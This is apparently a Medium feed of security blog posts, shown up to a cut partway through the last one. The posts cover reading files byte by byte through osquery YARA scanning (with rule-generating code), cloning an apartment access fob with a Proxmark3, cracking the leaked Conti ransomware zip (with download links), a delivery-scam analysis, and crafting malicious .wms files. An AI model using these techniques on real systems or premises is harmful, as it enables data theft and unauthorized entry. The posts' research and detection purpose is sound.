<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Wade Hickey on Medium]]></title>
        <description><![CDATA[Stories by Wade Hickey on Medium]]></description>
        <link>https://medium.com/@whickey000?source=rss-5678239b7a9b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hjkmiQkSjc57beK8kj3s2g.jpeg</url>
            <title>Stories by Wade Hickey on Medium</title>
            <link>https://medium.com/@whickey000?source=rss-5678239b7a9b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 16:27:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@whickey000/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[osquery — Arbitrary File Read]]></title>
            <link>https://medium.com/@whickey000/osquery-arbitrary-file-read-837741c8ad18?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/837741c8ad18</guid>
            <category><![CDATA[osquery]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sofware-engineering]]></category>
            <category><![CDATA[detection-and-response]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Tue, 14 Nov 2023 01:53:00 GMT</pubDate>
            <atom:updated>2023-11-14T01:53:00.213Z</atom:updated>
            <content:encoded><![CDATA[<h3>osquery — Arbitrary File Read</h3><h4>Don’t worry, it’s working as intended.</h4><p>This writeup does <strong>not</strong> document a vulnerability; it documents expected behavior, and some adversarial thinking (which doesn’t seem to have been explicitly stated online before).</p><h4>Hypothetical Attack Vector:</h4><p>Assume an employee with access to a cloud service, which allows for osquery <a href="https://osquery.readthedocs.io/en/stable/deployment/yara/#on-demand-yara-scanning">On-Demand YARA Scanning</a>, has been compromised or is an insider threat. This adversary can use the <a href="https://en.wikipedia.org/wiki/YARA">YARA language</a> to evaluate patterns against files on any device in the environment. Using the method outlined in this writeup, this adversary could read/exfiltrate the contents of any file.</p><h4>Why should I care?</h4><p>Arbitrary file reads allow for access to sensitive data, maybe privilege escalation, maybe worse.</p><p>YARA documentation acknowledges <a href="https://osquery.readthedocs.io/en/stable/deployment/yara/#inline-yara-rules-with-sigrule">the following</a>:</p><blockquote>Because allowing arbitrary YARA rules would also make it possible to retrieve arbitrary file data in the strings column, as a protection, the strings column will default to returning empty unless you also set the hidden flag enable_yara_string to true (its default is false).</blockquote><p>It’s clear that the developers have taken measures to prevent arbitrary file reads, which is commendable. Despite disabling the strings column, it’s still possible to retrieve arbitrary file data.</p><h4>The consequence of YARA’s functionality:</h4><p>In order for YARA scanning to work at all, it must provide a true or false for each YARA rule’s scan. This means that each scan must provide a <a href="https://en.wikipedia.org/wiki/Bit">bit</a> of information about the file. Since the YARA scan <strong>must</strong> provide a true (match) or false (no match), our hypothetical adversary can selectively choose to construct YARA rules which determine the exact byte at each location.</p><p>You can imagine looping through all 256 bytes until you get a match, then looping through each position in the file until you’ve reconstructed it fully.</p><h4>YARA Rule Pseudocode:</h4><pre>rule bruteforce_byte {<br>  strings:<br>    $test_byte = { 0 } // imagine programmatically iterating the byte check<br><br>  condition:<br>    $test_byte at 0 // imagine programmatially iterating the byte index<br>}</pre><p>This could obviously be automated and the print statement shown below could be replaced with the cloud service’s API interaction functions to automate YARA on-demand scanning and therefore byte-discovery.</p><pre>def generate_bruteforce_yara_rule(test_byte, index):<br>  return &quot;&quot;&quot;rule bruteforce_byte {<br>  strings:<br>    $test_byte = { &quot;&quot;&quot; + str(hex(test_byte)[2:]) + &quot;&quot;&quot; }<br><br>  condition:<br>    $test_byte at &quot;&quot;&quot; + str(index) + &quot;&quot;&quot;<br>}&quot;&quot;&quot;<br><br>for test_byte in range(0,255):<br>    for byte_index in range(0,5):<br>        print(generate_bruteforce_yara_rule(test_byte,byte_index))</pre><p>This method is noisy. There are obvious algorithmic improvements an adversary could make (such as implementing binary search using <a href="https://yara.readthedocs.io/en/stable/writingrules.html#conditions">YARA conditions</a> (&lt;, ≤, =, OR, etc) to reduce the complexity from O(n) to O(log n) which is 8 YARA scans per byte instead of 256).</p><h4>Conclusion:</h4><p>I’ve read public reports complimenting osquery for not allowing file reading, I hope this writeup adds a bit of context to the conversation. I also hope you’re auditing the cloud services your security team uses. I really like osquery and I’m happy to have YARA scanning capabilities enabled by default, but without monitoring, your crown jewels might (slowly) walk out your front door.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=837741c8ad18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Copy an Apartment Fob (HID ProxCard) with a Proxmark3 RDV4]]></title>
            <link>https://medium.com/@whickey000/how-to-copy-an-apartment-fob-hid-proxcard-with-a-proxmark3-rdv4-797f8b1adcc?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/797f8b1adcc</guid>
            <category><![CDATA[access-control-systems]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[rfid]]></category>
            <category><![CDATA[proxmark]]></category>
            <category><![CDATA[access-control]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Thu, 17 Mar 2022 17:36:24 GMT</pubDate>
            <atom:updated>2022-03-17T17:36:24.372Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve lived in an apartment complex you’re probably familiar with key fobs or cards used for access control systems, unfortunately, losing them (as I have learned) can be an expensive mistake. To make matters worse, apartment managers are not keen to dish out more than one fob per resident, and oftentimes they distribute the access control codes on pointlessly large, unwieldy cards which don’t fit on a normal person’s keychain.</p><p>If you’re like me, and tend to ignore unjustified, unenforceable rules, I recommend you do it yourself — follow along to learn how I copied my apartment fob and how you can too.</p><h4>Requirements</h4><ol><li>Proxmark 3 RDV4 (though other Proxmark devices will likely work)</li><li>T5577 rewriteable RFID device (sticker coins in my case)</li><li>Your original fob to copy</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gc_L4h1vIAqM34Jnj4YdNw.png" /></figure><p>To start, install the <a href="https://github.com/RfidResearchGroup/proxmark3/tree/master/doc/md/Installation_Instructions">proxmark3 toolset</a>, this is necessary for interacting with the hardware. Next, run the ./pm3 binary — it should look something like this (depending upon the OS used):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*9sQO8kDlKmcUDYrYbBmKcA.png" /></figure><p>Now we can place the original fob, which we want to copy, on the proxmark and run the `auto` command</p><pre>pm3 --&gt; auto</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pw0VbhQyAjxXXjd76tw1mQ.png" /></figure><p>I have redacted my data, for <em>reasons</em>. <br>Note: We’re going to use this raw data later when writing to the new fob.</p><pre>[=] raw: &lt;The data is here, ignoring leading zeroes&gt;</pre><pre>[+] Valid HID Prox ID Found!</pre><p>Now we can write the data to the new fob.</p><p>I bought some T5577 coins and found that they’re written as FDX-B Animal tags.</p><pre>pm3 --&gt; lf search</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzLGDmBfgufYKAlHwnTj7g.png" /></figure><p>Since they’re actually T5577 coins, we can wipe them and rewrite the contents.</p><pre>pm3 --&gt; lf t55xx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXssMm95g5TlR_3CMyVU8A.png" /></figure><pre>pm3 --&gt; lf t55xx info</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xgp1Szmoh1OmsudqABihGA.png" /></figure><p>Let’s wipe the coins</p><pre>pm3 --&gt; lf t55xx wipe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s0EyMr8HtcQtrF-vqkVH3g.png" /></figure><pre>pm3 --&gt; lf search</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cy4kcw-x8FiAmCzRds6GnQ.png" /></figure><blockquote>Wait, what! Why is it still detected as the FDX-B ID?!?!</blockquote><p>I believe this is due to the placement of the coin on the Proxmark, adjust the coin’s position and retry the wipe until its no longer found. I recommend waiting 10 seconds in between writing and reading.</p><pre>pm3 --&gt; lf search</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sPH6NOE5TGQ3EKov-e9naw.png" /></figure><blockquote>No known 125/134kHz tags found!</blockquote><p>With the coin successfully wiped, we can now copy the data to it.</p><pre>pm3 --&gt; lf hid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpgpovfxZtRivSQLjniDMA.png" /></figure><pre>pm3 --&gt; lf hid clone</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwkOEMQ5WhhNNGB2XCBHDg.png" /></figure><p>We’re going to write the raw data copied from our original fob (which was shown in the previously executed `auto` command above).</p><p>Let’s clone the raw data!</p><pre>pm3 --&gt; lf hid clone -r &lt;raw data, ignoring leading zeroes&gt;</pre><p>Supposedly, we can check whether it was successful using the following :</p><pre>pm3 --&gt; lf hid reader</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QhSST44T3kluj-y07oAHvw.png" /></figure><blockquote>Wait, what! Why isn’t it detected?!?!</blockquote><p>For some reason, the command</p><pre>pm3 --&gt; lf hid reader</pre><p>often fails to successfully read the contents, however, using</p><pre>pm3 --&gt; auto</pre><p>or</p><pre>pm3 --&gt; lf search</pre><p>should show the successfully cloned data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CITc_p7o0IhwMSrLpfAA1g.png" /></figure><p>If it fails for some reason, I recommend moving the coin around and re-running the clone command.</p><p>Now go try it out at a proximity card reader near you!</p><p>There’s lots to explore with RFID and Proxmark hardware, and this hardly scratches the surface of what you can do. <br>I wrote this because I couldn’t quickly follow along with any other writeup I could find online, so I hope this saves you time. 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=797f8b1adcc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File]]></title>
            <link>https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e15d54663a8</guid>
            <category><![CDATA[conti]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Tue, 01 Mar 2022 16:05:31 GMT</pubDate>
            <atom:updated>2022-03-05T15:24:02.807Z</atom:updated>
            <content:encoded><![CDATA[<ol><li>Leaker posted full zip with password</li></ol><figure><a href="https://anonfiles.com/lfV7c2L8xa/conti_locker_v2_zip"><img alt="" src="https://cdn-images-1.medium.com/max/836/1*KSlIAwWlPGWplbZiJ0z5PA.png" /></a></figure><p>2. Leaker posted zip without locker without password</p><figure><a href="https://anonfiles.com/l3b7n7L6xc/conti_locker_7z"><img alt="" src="https://cdn-images-1.medium.com/max/814/1*Yt-Y2ocIvq_M9bxr0HTjIA.png" /></a></figure><p>3. Grab some known plaintext from the second, and you can crack the first with bkcrack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*CFA0_MT3b4_dkcL-kY6rZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mPNxIpVckWkTuXjuwBloqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*YIhmF0KwLB9nSQoy807zxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*Am2cNgPnYT95cYKWgrG8Ig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtAhqOMB5ncYKX6rdZfsSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*maU3JKySwHOz3bjlIl0z7g.png" /></figure><p>4. Now let’s crack the original password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*UMzvigXhopAqWZI9ts3Veg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RK0LXMnj_zRImgfqI1uJiQ.png" /></figure><p>VirusTotal:<br><a href="https://www.virustotal.com/gui/file/4f0a7bf521f979afa947001eedd8b18a1ecd1994e1ae0ed90d65739de662684b">conti_locker_v2.zip</a><br><a href="https://www.virustotal.com/gui/search/28dc23f42461399c94f7a4b736e8d6ce4f643de70e71a6d1b27a6a287d77fcb1">conti_locker.7z</a><br><a href="https://www.virustotal.com/gui/file/7c93ce1906b756e88eb70f32536a7b1ba2f5b9d1a62b9c35a3a32bddcc947858">unlocked_conti_leak.zip</a></p><p>It’s amazing what the ransomware operators know about cryptography…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e15d54663a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apple Store Delivery Fraud]]></title>
            <link>https://medium.com/@whickey000/apple-store-delivery-fraud-e2a5fcf043b9?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2a5fcf043b9</guid>
            <category><![CDATA[iphone]]></category>
            <category><![CDATA[fraud]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Tue, 08 Feb 2022 17:31:14 GMT</pubDate>
            <atom:updated>2022-02-08T17:31:14.214Z</atom:updated>
            <content:encoded><![CDATA[<h4>I was scammed out of an iPhone 13 this last Christmas, purchased directly from my local Apple Store. Keep reading if you want to learn how the scam works and how I got my money back.</h4><p>On December 17th, I ordered an <a href="https://www.apple.com/iphone-13/">iPhone 13 (Color: Pink)</a> as a gift for my sister. I chose to have it delivered to me, same-day, due to worries regarding Christmas shipping slow-downs.</p><p>Since you’re reading this article: yes, looking back, this was a <strong>HUGE</strong> mistake.</p><h3>Summary of Events</h3><p>I scheduled a 2 hour delivery block between 4:00 and 6:00 PM. The phone was not picked up by the unknown delivery service until well after 6 o’clock — obviously this was outside of the expected delivery time-block. <br>This was the first sign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QE-fSFdKXDOeTlQvLjXDaw.png" /><figcaption>No mention of who does the delivering.</figcaption></figure><p>Being naturally paranoid and automatically suspicious, due to the later than expected arrival (for a $1200 item), I recorded the delivery person’s arrival.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*6TDxweDbQxu0ZIDYZUXpcQ.png" /><figcaption>That’s a pretty big bag for a phone…</figcaption></figure><p>I received a call from +1 202-301-8988 at 6:27 PM and the person on the other end explained they were sitting in the lobby of my apartment.</p><p>I went down, accepted an Apple Store bag with a <em>tamper evident </em>receipt<em> </em>sticker across the top. The sticker was labeled with “POSTMATES/UBER”, my first name, and the date. I checked the bag, to confirm that the iPhone box was present, and I signed for the delivery. When I got back to my apartment I noticed how pathetic the anti-tamper sticker attempt truly was; this was the second sign.</p><p>The sticker adhered the bag together in the middle which allowed me to manipulate either side of the bag so that it was easy to open. I grabbed the box to confirm that it was sealed with security tabs before putting it back in its bag until Christmas.</p><p>Here’s an example of what I mean (using staples instead of a sticker):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgK9xC54J4dmU3YUBmubAA.png" /><figcaption>Closed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfsWj3d-WmIPJuPNgujuag.png" /><figcaption>Closed but also opened</figcaption></figure><p>I delivered the phone to my sister on December 25th. She quickly noticed that when powering on the device, the screen showed a low battery message, including when it was plugged in. She also commented that it was heavier that she expected. These were the third and fourth signs. We decided to try to let it charge overnight; we figured things were closed due to the holiday. After a night of (not-)charging (on December 26th), we took it to the Apple store, because we had assumed that we received a dead-on-arrival battery. The genius bar technician quickly informed us that the device was not an iPhone and was understandably suspicious of us. I asked him to show us what the authentic device looked like and how he determined ours wasn’t an iPhone. After identifying the key differences between the authentic devices and the one I received, I quickly pieced together the scam. I was convinced that I could call Apple, explain the scam and get a refund, so I purchased a replacement device. Finally, my sister got the gift she asked for.</p><h3>Spot the Fake</h3><p>With two phones in my possession, I took comparison photos; can you tell the difference, or would you be fooled like me?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2c17Fj0Rjk2DjvrPq4RP8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C5o39xHSAhDRPE0RptJgrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqdmniHx3VsqCpE-eYYPcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zL3TvlQwL7P_9QgARC6eMg.png" /></figure><p>Comment with the device you think is fake. (Don’t google it, you cheater!)</p><h3>Attempted Resolution</h3><h4>Hi, Thank you for calling AppleCare. My name is ___</h4><p>When I got home I contacted AppleCare hoping to resolve the issue and make sure the stolen phone was disabled. I spoke with a representative and explained the situation as I have to you. He understood and created a return, noting that he marked the return reason as</p><blockquote>“item not as described”</blockquote><p>We both laughed at the absurdity of trying to explain my situation using multiple choice options and a <a href="https://en.wikipedia.org/wiki/Radio_button">radio button</a>. I asked him how they’re going to determine whether I was telling the truth, or just sending in a defective fake as a scammer myself. He didn’t know. I did some research on the prevalence of this scam, and to my knowledge, it had not been reported anywhere publicly; but I did find a similar scam in the news.</p><p><a href="https://www.theverge.com/2019/4/4/18295920/apple-iphone-scam-oregon-replacement-counterfeit-chinese-phones">College students allegedly scammed Apple out of nearly $1M in iPhone replacements</a></p><p>The representative was also surprised that the fake phone’s box had a sticker with the correct <a href="https://en.wikipedia.org/wiki/International_Mobile_Equipment_Identity">IMEI</a> and serial numbers. This indicates that the thief created a sticker in the time between pickup and delivery, or less likely, they were working with someone in the store. I made sure to request that the stolen phone be disabled, unfortunately, the representative explained that disabling the phone was <a href="https://support.apple.com/en-us/HT201472">not possible without a police report</a>. The representative also claimed to have left a bad review for the Postmates driver; though this directly contests <a href="https://en.wikipedia.org/wiki/Open-source_intelligence">OSINT</a> pointing towards Uber. I waited for the email attached shipping label and shipped the device, box, bag, and a letter explaining the situation two days later on December 28th.</p><h4>That should be the end of the story, right? No such luck.</h4><p>I was issued no refund by Apple and worse yet, they failed to explain their reasoning.</p><blockquote>Information about your return.<br>Order Number: &lt;REDACTED&gt;</blockquote><blockquote>We’ve received your return shipment . The item we received, however, is not eligible for refund or replacement, so we are returning it to you. Please review our <a href="https://www.apple.com/us/shop/goto/help/sales_refunds/">Sales and Refunds</a> policy if you have any questions.</blockquote><p>I suspected this was due to the problem I described to the representative: Apple had no way of discerning, definitively, whether I was telling the truth. I called AppleCare again, and spoke to every level of their support staff.</p><blockquote>As an aside, while in college, I worked as an AppleCare representative, so I know, more or less, what knobs they’re allowed to turn.</blockquote><p>While I was on the phone with them, they opened an “investigation” and sent me the following email (likely automated):</p><blockquote>We’re checking on your delivery</blockquote><blockquote>Order Number: &lt;REDACTED&gt;</blockquote><blockquote>We’ll contact you as soon as we have an update. We appreciate your patience. If your delivery does arrive, no further action is needed on your part.</blockquote><p>After only twenty minutes, I received their final resignation:</p><blockquote>Information about your order.</blockquote><blockquote>Order Number: &lt;REDACTED&gt;</blockquote><blockquote>We have received an update regarding your inquiry. Our carrier has completed the requested investigation, and no further action will be taken by Apple.</blockquote><blockquote>If you have any questions, please contact us at 1–800-MY-APPLE.</blockquote><p>The scheduled callbacks from tier 3 representatives were never received and that was the last I heard from Apple.</p><p>For what it’s worth, they did not send back the fake iPhone, likely due to pressure from the people responsible for refunding me; explained a bit later.</p><h3>Scam Analysis</h3><h4>Upfront Investment</h4><p>The scammer had to have a passable, fake, iPhone, ready to replace, prior to the order coming in. They could have many different fakes ready for different orders including storage sizes, colors, models, and versions.</p><p>I learned that <a href="https://www.alibaba.com/showroom/goophone+13.html?fsb=y&amp;IndexArea=product_en&amp;CatId=&amp;SearchText=goophone+13&amp;isGalleryList=G">Goophones</a> are the “brand” of knockoffs commonly sold on Chinese websites.</p><figure><a href="https://www.alibaba.com/showroom/goophone+13.html?fsb=y&amp;IndexArea=product_en&amp;CatId=&amp;SearchText=goophone+13&amp;isGalleryList=G"><img alt="This is a gallery view of alibaba results for “goophone 13&quot;" src="https://cdn-images-1.medium.com/max/1024/1*FlN4PUCj7phs7YaZc0zrgg.png" /></a><figcaption>Goophone 13</figcaption></figure><p>The scammer also needed a Postmates/Uber account in good standing which they likely sacrificed after the scam depending upon the delivery service’s scam tolerance threshold.</p><h4>Time</h4><p>There is a negligible chance that the scammer could keep the phone for any length of time without it being rendered near useless — as a phone; so if they want to maximize their profit, they need to sell the device before it is disabled.</p><p>Some of the methods this scammer used:</p><ol><li>They <em>actually </em>delivered a device. (They could have just not delivered it.)</li><li>They used an identical-to-real bag and box. (security stickers and tabs.)</li><li>They timed the delivery as late as possible. (the retail store would be more likely to be closed.)</li><li>They added correct IMEI and serial numbers to the fake box. (this allows the victim to get troubleshooting help from AppleCare.)</li><li>The fake phone displays a battery low error — basic troubleshooting over the phone will require shipping the device to Apple. (this takes a few days in transit minimum.) If it <em>actually </em>booted to android, troubleshooting would quickly identify it as such, and the scam would be discovered.</li><li>They likely chose my order based on the likelihood of it being a Christmas gift, giving them over a week. (See: <strong>Victim Selection</strong>)</li><li>They had over 1000 successful deliveries. (This reduces suspicion on the part of the driver and slows any investigation from the delivery service.)</li><li>They use the long chain from victim to Apple to delivery service to scammer as a natural information processing delay for the reported scam.</li></ol><p>These all allow the scammer to have more than enough time to <a href="https://en.wikipedia.org/wiki/Fence_(criminal)">fence</a> the phone to a dedicated seller, or quickly create a craigslist or similar service listing. This scammer spent a lot of time thinking about… well, time.</p><h4>Victim Selection:</h4><p>My first name, Wade, is overwhelmingly assigned to men.</p><p>Men, in the western world, overwhelmingly, do not like the color pink.</p><p>With the proximity to Christmas in mind, the scammer could reasonably deduce that my order was a gift.</p><p>In other words, the scammer might deliver multiple Apple devices during their time as a delivery driver, if they were clever, they would choose a victim who is likely giving the device as a gift, as that would increase the scam’s discovery time (their primary objective), more than any other method listed above.</p><h4>Fencing the Phone</h4><p>Now that the scammer has bought themselves time, they need to sell the stolen goods. The person who buys the stolen phone is another victim and has less recourse than the original buyer (i.e. me).</p><p>They will pay near-full price for a device that will quickly be IMEI blocked by carriers.</p><h4>OSINT</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*1Dlu6tch-c3lgG27rNOStw.png" /><figcaption>Whitepages premium data</figcaption></figure><p>The phone number is a proxy, commonly used by delivery services to prevent doxing/abuse of customers/drivers. Based on historic carrier association, the VOIP companies who owned the number in the past, were all eventually bought by <a href="https://www.sinch.com/">Sinch</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfwK6LIs8WYbKJI4WK0rjw.png" /><figcaption>Uber uses Sinch</figcaption></figure><h4>Trust Calculus</h4><p>As a delivery service, how does one model the statistical likelihood of fraud from a customer vs fraud from an employee/contractor?</p><p>This must be a complicated decision, for if it weren’t, nefarious customers and employees alike would walk the edge of those decision parameters exploiting them to the max.</p><p>Clearly, the model being used presently, is insufficient, and there’s lot of obvious room for improvement.</p><h4>Questions which remain</h4><p>What information does a Postmates/Uber driver receives about a delivery? Knowing this would allow for better profiling of the scammer’s sophistication (or lack thereof).</p><p>Did an Apple store employee swap out the real phone prior to the handoff with the delivery driver?</p><h3>Final Thoughts</h3><h4>Dearest Apple,</h4><p>It was not my intent to write a <a href="https://en.wiktionary.org/wiki/hit_piece">hit piece</a> or besmirch Apple, but when scams victimize the end user AND the company responsible won’t do anything to make it right, something should be done. I decided to document the scam, in the spirit of <a href="https://en.wikipedia.org/wiki/Full_disclosure_(computer_security)">full disclosure</a>, hopefully, preventing it from happening to others.</p><h4>So how did I get a refund?</h4><p>I was not paid to write this. I use an American Express credit card, and they are known for having great customer service and fraud protection; I can now attest to it. I called them, explained the situation, and they immediately refunded me. I spoke to a single person, it took less than 15 minutes. They informed me that their internal investigation could take up to 8 weeks. (They will probably put pressure on Apple, but who knows.) I would recommend that you consider using their services if you use a credit card with any regularity. I’m sure other credit card providers offer similar protections, but I can only share my experience.</p><p>At the end of the day, corporations are ruled by their bottom dollar. If Apple doesn’t get your money because your credit card company issued a chargeback; they might finally be incentivized to prevent this scam from happening to others.</p><blockquote>Click the follow button and have a good one. 👋</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2a5fcf043b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating Malicious .wms Files — Malware Mondays #3]]></title>
            <link>https://medium.com/@whickey000/creating-malicious-wms-files-malware-mondays-3-d4dbcb06a54f?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4dbcb06a54f</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 05:06:51 GMT</pubDate>
            <atom:updated>2022-01-24T05:06:51.926Z</atom:updated>
            <content:encoded><![CDATA[<h3>Creating Malicious .wms Files — Malware Mondays #3</h3><p>In my free time I like to explore filename extensions, their associations, and their default handlers in Windows - mostly to find “new” things to hunt for at $DAYJOB.</p><p>Writing malware with uncommon extensions is an interesting evasion tactic, and can be an engaging mental exercise.</p><p>Attack surface creation or discovery, for techniques that are not well documented or understood, can lead you to uncover in-the-wild exploitation that you might not have been hunting for.</p><p>With that, I pose a question; are you looking for Windows Media Player beaconing in your environment?</p><p>On a dark and stormy night, I was digging through <a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/hkey-classes-root-key">HKEY_CLASSES_ROOT</a> and found references to a file extension I was unfamiliar with (.wms) and so I did a bit of digging.</p><blockquote>Me: WTF is a .wms file?</blockquote><figure><a href="https://support.microsoft.com/en-us/topic/file-types-supported-by-windows-media-player-32d9998e-dc8f-af54-7ba1-e996f74375d9"><img alt="" src="https://cdn-images-1.medium.com/max/774/1*4HXb5az1D9JJaYI14rLZow.png" /></a><figcaption>Microsoft’s Description of .wmz/.wms</figcaption></figure><blockquote>Me: So it’s an XML file that can run JScript? There’s no way that’s exploitable.</blockquote><blockquote>Narrator: It was easily exploitable.</blockquote><ul><li><a href="https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-090">Microsoft Security Bulletin MS00-090 - Critical</a></li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1112">CVE - CVE-2000-1112</a></li><li><a href="https://www.exploit-db.com/exploits/20424">Offensive Security&#39;s Exploit Database Archive</a></li></ul><p>Luckily the use of ActiveX objects was patched.</p><blockquote>The patch eliminates the “.WMS Script Execution” vulnerability by preventing the execution of arbitrary ActiveX Objects in the skin files.</blockquote><p>With past exploitation in mind I set out to write a small <a href="https://en.wikipedia.org/wiki/Proof_of_concept">PoC</a> that demonstrates JScript execution. I consulted <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/jscript-files">documentation</a>, but did not find what I needed. I googled for existing skins (to reference as code samples) and found what was already present in the documentation (but with a label that threw me off).</p><figure><a href="https://docs.microsoft.com/en-us/windows/win32/wmp/calling-functions"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke7zgfJPvnAixNEIODa9Xg.png" /></a><figcaption>??? C++ == WMS ???</figcaption></figure><p>This <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/onclick"><em>onclick</em> event handler</a> indicates that it’s possible to run JScript code from within .wms files without dropping extra (.js) files to disk.</p><p>To demonstrate, or prove, this to ourselves, we can create the following file:</p><pre>&lt;THEME&gt;<br>    &lt;VIEW<br>        title=&quot;PoC&quot;<br>    &gt;<br>    &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><p>This file sets the window title to “PoC” upon opening:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*uSeuTAZsN451uoLcyD47qg.png" /></figure><p>However, if we add an <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/view-onload"><em>onload</em> event handler</a>,</p><figure><a href="https://docs.microsoft.com/en-us/windows/win32/wmp/view-onload"><img alt="" src="https://cdn-images-1.medium.com/max/803/1*yfJ8N2PbFM8Vou_ViV14fw.png" /></a><figcaption>Microsoft’s Documentation for VIEW.onload</figcaption></figure><p>we can use the following code to modify the title using JScript.</p><pre>&lt;THEME&gt;<br>    &lt;VIEW<br>        title=&quot;PoC&quot;<br>        onload=&quot;JScript: view.title=&#39;JScript execution!&#39;;&quot;<br>    &gt;<br>    &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><figure><img alt="" 